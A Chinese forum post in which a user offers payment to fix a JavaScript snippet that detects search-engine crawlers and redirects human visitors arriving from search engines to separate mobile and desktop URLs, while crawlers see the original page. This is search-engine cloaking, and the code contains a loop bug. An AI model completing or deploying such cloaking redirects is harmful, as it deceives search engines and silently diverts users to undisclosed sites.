JS大佬们,我又来求答案了!付费!
本帖最后由 gamerock 于 2024-5-31 17:52 编辑[*]function isSpider() {
[*]//判断是否为蜘蛛,是蜘蛛返回true
[*]if ((navigator.userAgent.match(/(Baiduspider|YisouSpider|360Spider|HaosouSpider|AdsBot|Googlebot|bingbot|Sogou web spider|Sosospider)/i)))
[*] return true;
[*]else
[*] return false;
[*]}
[*]function is_from_search_engine(){
[*]//如果是搜索引擎点点入
[*]var r = document.referrer;
[*]r = r.toLowerCase();
[*]var aSites = new Array('google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.','bing.');
[*]//搜索引擎入口设为数组
[*]var b = false;
[*]for (var i in aSites){
[*] if (r.indexOf(aSites) > 0){
[*] b = true;
[*] break;
[*] }
[*]}
[*]return b;
[*]}
[*]function isMobile() {
[*]//判断如果是手机端和电脑端跳转不同的网页
[*]if ((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i)))
[*] return true;
[*]else
[*] return false;
[*]}
[*]
[*]if(!isSpider()){
[*]if(is_from_search_engine()){
[*] if(isMobile()) {
[*] window.location.href = '这里写手机跳转网址';
[*] } else {
[*] window.location.href = '这里电脑跳转网址';
[*] }
[*]}
[*]}复制代码
能不能修改成除了蜘蛛不跳,别的都跳转!我放到网站里面不跳转!
页:
[1]